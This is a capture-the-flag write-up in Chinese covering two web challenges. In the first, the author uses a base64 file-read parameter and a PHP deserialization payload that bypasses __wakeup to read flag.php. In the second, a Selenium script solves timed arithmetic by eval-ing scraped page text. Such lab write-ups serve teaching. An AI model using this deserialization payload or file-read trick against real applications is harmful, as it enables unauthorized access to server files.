easyphp
題目描述
題目首先是一張不存在的圖片
查看源碼發現只有一句話
<img src="show.php?img=aGludC5qcGc=" width="100%"/>
點開源碼中圖片的鏈接,跳轉到下面的頁面
img 后面的內容很像是 base64 編碼,經過解碼驗證,確實是 base64 編碼,還原后是 hint.jpg 。
嘗試把 img 后面的參數用 flag.jpg、flag.php、flag 的base64編碼代替后訪問,並沒有獲取到有價值內容
直接訪問 index.php 或者 show.php 也看不到任何東西,所以看看能不能利用 img 這個參數讀取兩個php源碼
index.php 的 base64編碼為 aW5kZXgucGhw
show.php 的 base64 編碼為 c2hvdy5waHA=
經過嘗試后,這時通過源碼已經可以讀取到內容,內容分別如下
index.php
<?php require_once('hint.php'); $x = new hint(); isset($_GET['class']) && $g = $_GET['class']; if (!empty($g)) { $x = unserialize($g); echo $x; } ?> <img src="show.php?img=aGludC5qcGc=" width="100%"/>
show.php
<?php $f = $_GET['img']; if (!empty($f)) { $f = base64_decode($f); if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE && stripos($f,'flag')===FALSE) { readfile($f); } else { echo "File not found!"; } } ?>
從 index.php 的源碼里看到還有個 hint.php,用同樣的方法讀取,內容如下
hint.php 的 base64 編碼為 aGludC5waHA=
<?php error_reporting(0); //flag is in flag.php class hint{ public $file=''; function __destruct(){ if(!empty($this->file)) { if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false) show_source(dirname (__FILE__).'/'.$this ->file); else die('Wrong filename.'); }} function __wakeup(){ $this-> file='index.php'; } public function __toString(){return '' ;}} ?>
代碼審計
hint.php 里面告訴我們 flag 在 flag.php中,所以我們要嘗試去讀取到這個 php 文件
show.php 里面用 stripos 限制了我們讀取的內容,我們不能通過 show.php 的方式來讀取到 flag.php
hint 里面定義了一個 hint 類,這個類有個 show_source(dirname (__FILE__).'/'.$this ->file); 方法,可以讀取我們的 php 文件
而在 index.php 里面用到了 unserialize() 函數,用來反序列化一個 hint 對象,我們可以嘗試使用反序列化的方式來讀取 flag.php
Payload構造
將 hint.php 復制到本地,然后添加下面幾行代碼,通過網頁取得序列化后的字符串
$x=new hint(); $x->file="flag.php"; echo serialize($x);
O:4:"hint":1:{s:4:"file";s:8:"flag.php";}
序列化字符串的含義可以參考:https://www.cnblogs.com/dogecheng/p/11652022.html
根據 index.php 的源碼,我們把這個字符串賦值給 class 就好了,但是並沒有取得 flag
在網上查詢了一些資料后得知,通過 unserialize 反序列化之后,還會調用 __wakeup() 方法,它會把 file 設為 index.php,所以讀取的並不是 flag.php
我們需要繞過 __wakeup() 函數,但是繞過方法很簡單。當序列化字符串中,表示對象屬性個數的值大於實際屬性個數時,那么就會跳過wakeup方法的執行。
我們原來的序列化字符串為:
O:4:"hint":1:{s:4:"file";s:8:"flag.php";}
我們只需要把 1 改成比它大的數字即可
O:4:"hint":2:{s:4:"file";s:8:"flag.php";}
這時候重新提交請求就能獲得 flag 了
calculate
題目描述
題目如下
要求我們回答10道計算題。經過測試,每道題要在3秒內答對,答錯或超時清零回答正確的問題個數。而且答題間隔要在1秒以上。
頁面源碼如下,計算表達式 都在 div 中
<h1>calculate</h1> <p>Answer the questions for 10 times and you can get flag.</p> <p> You Have answered 0銆€questions;</p> <form action="" method="post"> <div style="display:inline;color:#499E86">6</div><div style="display:inline;color:#BC2109">1</div><div style="display:inline;color:#E20AAD">5</div><div style="display:inline;color:#AE2893">+</div><div style="display:inline;color:#A3A7DA">9</div><div style="display:inline;color:#72311C">9</div><div style="display:inline;color:#7D99E9">7</div><div style="display:inline;color:#3DB475">+</div><div style="display:inline;color:#2144AE">6</div><div style="display:inline;color:#8523C0">1</div><div style="display:inline;color:#D42154">5</div><div style="display:inline;color:#DD166F">*</div><div style="display:inline;color:#0ADBF4">9</div><div style="display:inline;color:#116660">9</div><div style="display:inline;color:#4F6723">7</div><div style="display:inline;color:#7F7A0D">=</div> <input type="text" name="ans"> <input type="submit" value="send!"> </form>
腳本編寫
一開始用 python 的 requests 庫來做,沒有成功,自己的代碼估計有小BUG,后來改用 selenium 來做就成功了 ,代碼如下:
from selenium import webdriver from bs4 import BeautifulSoup import time driver=webdriver.Firefox() driver.get("http://****:13002/") def submit(driver): # 獲取源碼 source = driver.page_source # BeautifulSoup解析 soup = BeautifulSoup(source, "lxml") all_div = soup.find_all(name="div") # 獲取表達式 s = "" for i in all_div: s = s + i.contents[0] # 去掉等號 s = s[:-1] print(s) # 計算 res = eval(s) # 填入答案 element = driver.find_element_by_name("ans") element.send_keys(res) # 等待 1.1 秒 time.sleep(1.1) # 提交答案 driver.find_element_by_xpath("/html/body/form/input[2]").click() print("click") for i in range(10): submit(driver)
回答 10 次后在頁面上就會出現 flag